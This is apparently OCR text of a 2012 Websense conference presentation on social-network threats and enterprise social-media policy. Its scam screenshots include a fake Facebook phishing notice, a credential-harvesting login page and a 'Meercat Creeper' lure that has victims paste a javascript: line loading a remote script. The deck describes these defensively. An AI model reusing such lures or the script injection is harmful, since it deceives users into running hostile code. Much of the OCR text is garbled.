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The Social Web & You (Yes, YOU!)

What's on the Social Web?

Social Web Personalities

Facebook
Twitter
What's Hot is Not

Classifying the Social Web

Social Web Policy
Making Social Media Work

Apply
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This may get personal...

80% of your organizations have a Facebook presence

50% have a strategic presence (multiple brands, etc.)

Over 50% have more than 500 employees on Facebook
Over 75% have Facebook groups with over 1.5M followers
Over 50% have Twitter feeds with over 1M followers

Over 2/3's have LinkedIn groups with over 50,000 followers

And 100% of you have malicious/spam web visits
from the social web.
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But What Is
on Those

Social
Networks?
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Facebook Insight

Streaming Media

News and Media
Entertainment

Blogs and Personal Sites
Information Technology
Shopping

Social Networking
Business and Economy
Sports

Society and Lifestyles
Personal Network Storage
Games
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Facebook Insight

Spam percentage (Facebook only)

4.5%1
3.5%

2.5%1
1.5%1

0.5%1

“Nov-t8  Nov28  Dec08  Decl8 Dec28  Jan07  Jand7 | Jan27  Feb06  Feb16
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Facebook Pages Categories

2% 17

-

2%

M Entertainment

M Society and Lifestyles
M Sports

M Business and Economy
u Shopping

M Traditional Religions

u Streaming Media

u Games

u Advocacy Groups

u Other
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Facebook Objectionable

Q: What percentage of all Facebook content is objectionable?
A: 2.51%

Facebook Pages Sinful Category ®Proxy Avoidance
1%

294 2% 2% 1%  Alcohol and

e Tobacco

® Adult Content

M Gambling
M Nudity

M Violence
u Weapons

u Abused Drugs
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Facebook Applications Categories

1% 1% 1%

{

M Games

L S_ocial Networking and Personal
sites

W Entertainment

M Information technology

u Web Chat

M Business and Economy

u Blogs and Personal Sites

u Service and Philanthropic

Organizations
M Society and Lifestyles
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Facebook Objectionable Applications

Q: What percentage of the top 10,000 Facebook applications is objectionable?
A: 0.79%

Facebook Applications Sinful Category
Overview

1%
5% 3% |

M Adult Content

M Sex

M Alcohol and Tobacco
u Tasteless

u Gambling

M Violence

u \Weapons

u Marijuana

u Other

5%
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Twitter Top 10K Categories

M Entertainment

M Business and Economy
M Information Technology
M Society and Lifestyles
M Sports

® News and Media

5% 1 u lllegal or Questionable

u Social Networking

® Shopping

u Financial Data and
Services
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Twitter Objectionable

Q: What percentage of all Twitter content is objectionable?
A: 4.3%

Twitter Sinful Category Overview

M [llegal or Questionable
0.77% 0.51%

6899  3.06% //0.26% u Adult Content
AW N

6.89% M Sex

u Alcohol and Tobacco
u Gambling

M Tasteless

u Marijuana

u Hacking

M Proxy Avoidance
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Malicious “Buzz’’

Q: What percentage of “buzz” keyword search yields malicious content?

100.00%

90.00% +—

80.00% -

70.00% -

60.00% -

50.00% -

40.00%

30.00%

20.00% -

10.00% -

0.00% -

eiosense

Facebook Pages

Twitter Top 10K

M Entertainment M Entertainment

»_ Category Overview S Category Overview .. ...,
% 1% 11% Lifestyles Economy
2 \ H Sports H Information
6 ; Technology
M Business and u Society and
Economy Lifestyles
M Shopping M Sports
M Traditional .
Religions M News and Media
21.77% 22.39%

1.00%
_—|
Buzz Business
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Soclal Threats

Analyzed
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Social Networking

= “Scam-of-the-day” on
Facebook

= Malicious Apps
= Clickjacking

= Hackers focus on the
dynamic nature of these
sites

= Many brands/companies
need to use social
networking sites for
business
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Japan Earthguake & Tsunami

Japanese Tsunami Launches Whale Into Building

FOU Search Brow|

Whale Launched Into Building: Graphic

Try it, Test it, Keep it! Get a FREE

Dl 1IPAas

Please Watch this video
only i@ *u are

16 yeafs,or Oldel' YOI.I Please enter your email:

To Access Video, Please Verify Age Below

Click Here to Verify Your Age - UK
Click Here to Verify Your Age - USA

e User Protected Content: Age Verification Required
Gylke K9  haddte v Share Embed N 1,880,004

CNN 6397 L85 =
BREAKING: Whale Barely Alive After Being Launched 5 Miles.

[FREE Shipping via FedEX Ground @
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Japan Tsunami

2011-03-10 23:37:37
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Japan Tsunami

2011-03-11 12:45:07
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Facebook status updates

= 40% of all status updates have links and 10% of
those links are either spam or malicious

facebook Home Profile Friends Inbox (2 Settings Logout |[ELEigds Q

Carl B

13 hours ago

wall Info Photos

Create an Ad
Write something...

Attach: e - m

All Paws On Deck

View Photos of Carl (22)
q Filters
Send Carl a Message

Carl

Poke Carl e

My Ex-Girlfriend Cheated on me... Here is my revenge!
homeslices.org Hop on an iceberg and

My Girlfriend of 2 years cheated on me... This is my revenge! She will float over to Zoo World,

Nu snoar det.. i
learns har lassch where you can build the
zoo of your dreams. Play
. \ now.
Information Y Like

ﬁ] 6 hours ago - Comment - Like - Share
Relationship Status:

In a Relationship with TiVo %
Birthday:

November 5, 1975
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Phishing attacks

Facebook sent you a message.

Facebook Security November 19, 2010 at 4:24am
Subject: - -

Your account will be deactivated immediately.

Because someone has reported your actions.

Maybe you have written content that is abusiveOr upload a picture that can be
insulting or harmful to other users.

You must confirm your account, to stop the warning deactivated on your account.

to suspension of your account, please click the link below:
http://apps.facebook.com/account-suspend/

We provide 1x24 hours to re-confirm your facebook account.
If not, we will block your account for the benefit of other users.

Facebook™ Game Network inc
phone:(650.543.4800) fax:(650.543.4801)

yright © 2010 Facebook, inc.. All right reserved.

1111 003 802 1166 100 O

To reply to this message, follow the link below:
http: / /www.facebook.com/n/?
inbox%2Freadmessage.php&t=1697586485064&mid=34f6ca9C4155c87eC16ac6d9G0&n_m=bbonn%40sympatico.ca
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Loaded as an iIframe

2) Login | Facebook - Mozilla Firefox
File Edit View History Bookmarks Tools Help

e v c om, ey Ei http:/japps-account-facebook-security-app.webs.comf ﬂ‘f -f 5: -

[&] Most visited P Getting Started 5| Latest Headlines

. 3 Login | Facebook l o

facebook

m Facebook helps you connect and share with the people in your life.

Facebook Login Confirmation

Email:
Password:

[CJkeep me logged in

or Sign up for Facebook

Forgot your password?

English (US) Espanol Portugues (Brasil) Francais (France) Deutsch Italiano aoy=n a1 HH(HEE) »
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Typical malicious app

Cecilia Rose
OMG | cant watch this video more than 42 seconds its very danger -
http://goo.gl/g)16s

8 minutes ago via amazing vid

Taylar Rene Trevino
OMG I cant watch this video more than 42 seconds its very danger -
http://goo.gl/g)16s

13 minutes ago via amazing vid

Tatiana Lamour
OMG | cant watch this video more than 42 seconds its very danger -
http://bit.ly/g5kMde

28 minutes ago via Cant saw this

Sahar Omar
OMG I cant watch this video more than 42 seconds its very danger -
http://goo.gl/g)16s

31 minutes ago via amazing vid
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Aleksandr Orlov — Founder of Compare the Meerkat

S Duaness

Sponsored Create an Ad
“Like Seth Godin?™

ADOSUMO . CO¢

You'l Tove"*
AppSumo.com! Exclusive
deals for entrepreneurs.

Aleksandr Orlov — Founder of Compare the Meerkat

1 am redax in my outdoor Jacuzs and piece of ash land on my furs. What is that all
asbouts?

&) Info b

- You be the judge... Oick
Ambassador Role &5 1,031 pecple ke this. HERE!
B countdown (2 View all 158 comments
[3) Photos
g Die rite & comment...
U Notes Fan Page Mmm?‘ —— -
O Video Aleksandr Orlov - Founder of Compare the Meerkat - M&:"mﬁa‘:‘;;""w

before it's too late.

Moce - Check which meercats have been looking at your profile!
Which of your friends have been stalking you?
About http: / /www . MeercatCreeper.co.cc
For chance to work for me 25 i Search Messages (2)
human ambassador for Meerkovo hoglookingforyou.info
90 to www.meerko... €] 1s B b - Command - Share Want to see who's
More g ' ' e y searching YOU?
&) 285 pecple ke ths.
777,247
v

te e Sils 2 View al 38 comments
Subscribe via SMS b
Subsaribe via RSS
Uniice Aleksandr Orlov - Founder of Compare the Meerkat
Create a Page Filthy Mongoose have kidnap Phillpa, or this ploy to get vote? | thinks she could
Report Page ) have genius-zdls to be ambassader. What do you pecples think?

Share



Harry Flashman

8 Born on January 1, 1905 @ Add your current work nformation 98 Add your education
nformaton # Edt Profie

Education and Work # Edt
Share Your Add Your Work Informaton

{xpenences m

Add Your School Information

”

Arts and Entertainment # Ede
Share Your
D Notes Interests r
40, Frens J @ H O
find Friends

Add Music Add Books AddMoves ASdTVShows  Add Games

. Best Friends
Activities and Interests # Ednt

Coworkers
Other Websense, Seth Godn, Ben Affleck, Smon Cowel, Aleksandr
Orlov = Founder of Compare the Meerkat

Classmates
. Basic Information # Edn

Sex Mae
Friends (2)
9 Aleksandr Orlov - Contact Information # Edt
* Founder of Compare
j the Meericat tmad speakup Bwebsense. com

Ngel Molesworth

Mome Profile Findfrends Account »

4 it Profie

Welcome to Your Profile, Harry

Your profile helps your friends leamn
about the people, experiences and
activities that matter to you most.

Get Inspired: See Alan Smithee's
Profile

Sponsored Create an Ad

Fan Page Admin?
" Orily & few weeks left.

Make this oitcal change
before it's too late,

[ssex Bucket Lint

Dl T . NS00

Things to do in Essex
before you de. One huge
coupon emaled dady.

S-a-side this week?

Heb make sure your

hayfever doesn't affect

S your foobe sidis. Act
O Before You React and

visit our facebook page



£ wan
@) Info

Ambassador Role
B) countdown
) Photos
g Discussions
(] Notes
2 Video

Moce -

About

For chance to work for me a5
human ambassador for Meerkovo
Q0 to www.meerko...

More

777,247
pecple ke this

Subscribe via SMS
Subscribe via RSS
Unlice

Create 3 Page
Report Page
Share

A B

Al

eksa

f

R

ndr Orlov — Founder of Compare the Meerkat

Aleksandr Orlov — Founder of Compare the Meerkat
1 am redax in my cutdoor Jacuza and piece of ash land on my furs. What is that ol

abouts?

Y 1,031 people ke this.

£ View all 158 comments

nte 3 comment...

Aleksandr Orlov — Founder of Compare the Meerkat

Check which meercats have been looking at your profile!
Which of your friends have been stalking you?

http:/ fwww MeercatCreeper.co.cc

& 235 people ke ths.

2 View all 33 comments

Aleksandr Orlov - Founder of Compare the Meerkat

Fithy Mongoose have kidnap Phillpa, or this ploy to get vote? ] thinks she could
have genus-zkils to be ambassador. What do you pecples think?

Sponsored Create an Ad
"Like Seth Godin?"
Youl Jove*

AppSumo.com! Exclusive
deals for entrepreneurs.

You be the judge... Cick
HERE!

Fan Page Admin?

COniy a few weeks left.
Make this ontical change
before it's too late.

~

Search Messages (2)

Want to see who's
searching YOU?



Home Profile Find Friends Account ~

Request for permission

Meercat Creeper 1S requasting parmission to do the folowing:

‘gl Access my basic information

nJdude< nam ry R hord Aaris
INOUGCES name, P e pClure, oender,

other
Lad -
Meercat Creeper
e e e e ek
- - J"(;’_l
Post to my Wall
W ) may post status
messages, notes, photos and videos to my Wal
By proceeding. you agree 0 the Terms of Service and Privacy policy - Report app

Logged In as Harry Flashman (Not you?) n :::!I Leave app

Facebook © 2011 * English (LK) About - Advertising - Create a Page - Developers - Careers - Privacy * Terms * Help



HOW TO:

Use MeerCat Creeper to check your stalkers!

STEP 1: CLICK THIS BOX AND PRESS CONTROL +C

(THIS WILL COPY THE SECRET CODE TO YOUR CLIPBOARD)

-~
javascript: |
(a= (b=document) .createElement ('script')) .src="~
news.info 2
fowamienw An el s WVash ool awn N W madir avmesmansd

‘ m »

OrSanbckd\ebunoanow.
click to copy to clipboard |

STEP 2: GOTO FACEBOOK.COM

(CLICK THE BUTTON TO THE RIGHT)




Geta FREE
AppleiPad 2

articipation Required. Click for details,

4AS Duakcore AS chip, Superfast graphics,
Bl 11 fast, times two, Go, gamers, go.

Battery keeps on Two cameras. And a big
going. S0 you can! hello to FaceTime for iPad

Enter Your Email:

CONTINUE

* In order to receive your gift you must: (1) Meet the eligibiity requirements (2) complete the rewards bonus survey (3) complete a total of 13 Sponsor
Offers as stated in the Gift Rules (4) Follow redemption instructions. Sponsor offers may require a purchase.




Please complete a survey

Flease fil out one of the folowing surveys, You will not be dlowed to continue unti you
have completed a survey.

Tell us what you think of Facebook and get a gift!

Get a $1,000 Walmart Gift Card!




facebook

3 wan
&) info
{3 photos
[] Notes
20, Friends

Find Friends

' Best Friends
! Coworkers
' Clasumates

9 Aleksandr Orlov -
- Founder of Compare

Harry Flashman

8 Born on January 1, 1905 @ Add your current work information 4@ Add your education
nformation # Edt Profie

Share: [ ) Status {3) Photo €] Link % Video & Question

What's on your mind?

Harry flashman
This app is 50000 coollllt

Check which meercats have been looking at your profile!
Which of your friends have been stalking you?

http: / f'www. MeercatCreeper.co.cc

P Harry Flashman
k‘ -_ f Great cyberame insight
(‘ ‘

Q The Cybercrime ‘Five' Part Two: Hacktivist -
- Websense Insights
- ~ ‘} ety TOENSe . (Or
¢ Enghal
¢ 2: s e
Harry Flashman

_“F True grit and determination in the face of Injury
BBC Sport - Tennis - Live - French Open day 11

Neas.L

- " oS O | W%, ':‘-_ =a e - DT QLY 2 >
N Rafael Nocal, Mara Sharapova and Victons AZaronea &
5 Harry Flashman
‘(" B Mo man shoud drink Rose....
'S /] § & _ WineReview: Rosé
a a d vwvw. telecrach. co.uk

Home Profile FindFfriends Account v

# Edit Profile

Return to your main Facebook view
any time.

Sponsored Create an Ad
Fan Page Admin?
" Only & few weeks left.
J Make s anbcal change

before if's o late,

La

Essex Bucket List

PO e S vINGSOON . COT
Things to do in Essex
before you de. One huge
coupon emaled dally.

London Bucket List
DO Y 5. IVINGEOON L

365 Thngs-todo in

London

“Like Seth Godin?”
Youl Yove”
AppSumo.com! Excusive
deals for entreprensurs.

—



As a Business,
We Need

Soclal Media
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Social Web Policy Questions

Q: What kinds of Social Web content should be
blocked across the enterprise? Why?

Q: What kinds of Social Web content are important
to allow? Business critical?

Q: When should Social Web access differ across
the enterprise?

Q: Do some Soclal Web domains or sub-domains
require different policies than others?

Q: What kinds of Social Web intelligence do you
require to make these decisions?

welsense O




We asked you...

7.2.1. What is your organization’s filtering policy related to these areas of Social Web?

7. 2.1. What is your organization’s filtering policy related

Block Allow Quot §ocial Networking (ex.
Facebook.com)
Social Networking (ie.  40.3% 253% 5o
S eearmy (118) 4 ' Business Networking
Business Networking (ie.  10.6% 66.6% 400 (ex. Linkedin.com)
Linkedin.com) (31) (195) ‘
Blogs (ex. Blogspot.com)
. 216% 44.7% .
Blogs (ie. Blogspot.com) (63) (130) 5.2% (
Online Collaboration (ie. 69.1% Microblogging (ex.
webex.com) =7 201y %% qyitter. com)
Online Collaboration (ex.
Webex.com)
Wikis (ex. Wikipedia.org)
Video (ex. Youtube.com)
N Events (ex. Meetup.com)

eisense

Block

36.5%
(262)

11.9%
(89)

26.9%
(192)

36.6%
(264)

8.3%
(59)

3.4%
(24)

31.0%
(221)

20.2%
(143)

Allow Quota
238%  54%
(171) (39)
64.8% 25%
(463) (18)
379% 73%
(271) (52)
290% 49%
(207) (35)
5% 08%
(507) (6)
862% 1.0%
(611) (7
N8% 66%
(227) (47)
481%  30%
(341) (21)

Continue Varies

1.0% (7)

1.4% (10)

11% (8)

0.8% (6)

0.7% (9)

0.3% (2)

11% (8)

1.1% (8)

32.9%
(236)

18.5%
(132)

26.3%
(188)

27.7%
(198)

176%
(125)

8.6%
(61)

292%
(208)

22.1%
(157)

N/A

0.3%
(2)

1.0%
(7)

0.6%
(4)

1.0%
(7)

1.0%
(7)

0.6%
(4)

0.3%
2)

5.5%
(39)

RSACONFERENCE2012

Response
Count

ni

715

715

714

709

709

73



We asked you...

8.2.2. If access to Web 2.0 is blocked, what are the reasons to restrict browsing to these sites?

Response Response

.2. ITaccess 10 Social Web is blocked, what are the reasons to restrict browsing to these sites? Percent Count

Response  Response

Percent Count | 46.1% 135
Web Security (PR 46.7% 335 12 8% 9
procton —_ R Qm% 124
Productivity Improvement PO— 58.4% 419 287% 84
Bandwidth Optimization e— 33.0% 237

31.4% 92

Data Leakage Prevention [PR— 33.8% 243
NIA = 20.1% 144 26.6% 8
Other (please specify) i 6.0% 0 L a St ye ar - 21

Show replies
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What our customers said...

9. 2.3. If access to Web 2.0 is allowed, what are the reasons to permit browsing to these sites?

Response Response

Percent Count

Collaboration 57.3% 168

Research [ 52.6% 154

Networking 38.6% 113

Personal Use 19.8% 58

NA 18.1% 53

\#? Show replies Other (please 9.9% 29

specify)

answered question 293
skipped question 18
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Soclal Media

IS a Must Have

RSACONFERENCE2012




About the Kennedy Center

mmmm T'he Kennedy Center

national
orchestra

Tickets Contribute Visit Explore The Arts Education christoph eschenbach, music director

%4th Kell_llnedy
enter rionors WASHINGTON
Barbara Cook, Neil Diamond, NATIONAL @PERA

Sonny Rollins, Meryl Streep,

Yo-Yo Ma

December 4

TheSyzanneFarreIlBaHet
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Social Media Use - Problem
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Social Media Use - Complication -
Data Confidentiality and Compliance

[ News Feed

Top News * Most Recent

Share: [-)Status & Question [3] Photo ] Link '# Video

Do not share company confidential information in this space!

- £

New Message

To: ‘ Joe Murse

Subject: ‘ Company confidential information

Do no share it here eilher!|

Attach: . ﬁ]

m ' Cancel

eisense

Social media promotes culture of
sharing...be careful! Don’t publish
confidential information

[Insert company specific confidential
data examples |

Do not comment on stock price

Employees responsible for content
they publish

For more detailed confidentiality
guidelines see [insert reference
herel].

- &
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Social Media Use - Solution - Usage Policy

eosense

[Insert Company Name]

recognizes business and
personal reasons to use
Social Media.

Social Media allowed for
[designated/all employees]
within acceptable use
guidelines

Productivity

Inappropriate content
Data confidentiality
Malware and online crime

RSACONFERENCE2012
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Social Media Use - Complication -
Data Confidentiality and Compliance

Security e
Standards Council

e sense RSACONFERENCE2012



Social Media Use - Benefits/ Business use

& Lke ® 4+ Addto~  Share P 260,197

RSACONFERENCE2012
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Social Media Use - Solution - Real Time Results
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Secure Social Media Use - Results

A decrease In helpdesk call volume

Fewer alerts

Less time spent with virus/infection issues

Cannot recall any new infections within our IT environment
Gives me back my time, and my team’s time

Now they can actually focus on improving things, rather than
running around and cleaning up machines

Center can embrace social technology, we wouldn’t be the
same without it

Allows us to worry less about impact on our PCI compliance

we sense RSACONFERENCE2012 .=,



The Future
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Threats are still very simple

We haven’t seen anything yet

99%+ of all threats are social engineering based
Iframes are now allowed as tabs in Pages
Twitter has really no control at all

Drive-bys, BlackHat SEO

weiosense RSACONFERENCE2012 .%o




Now It IS Your

Turn
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Apply

Establish strong business cases for accessing
the social web

Create an AUP for your organization

If you do not have one, an AUP kit may be
downloaded from _ _
http.//www.websense.com/content/social-media-
acceptable-use-policy.aspx
Complete an online social media training
session with your entire employee base

Ensure that you have the proper technology In
place to enforce your policy

Review the program’s effectiveness after six
months

we sense RSACONFERENCE2012 .=,



Questions?
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Thank You!
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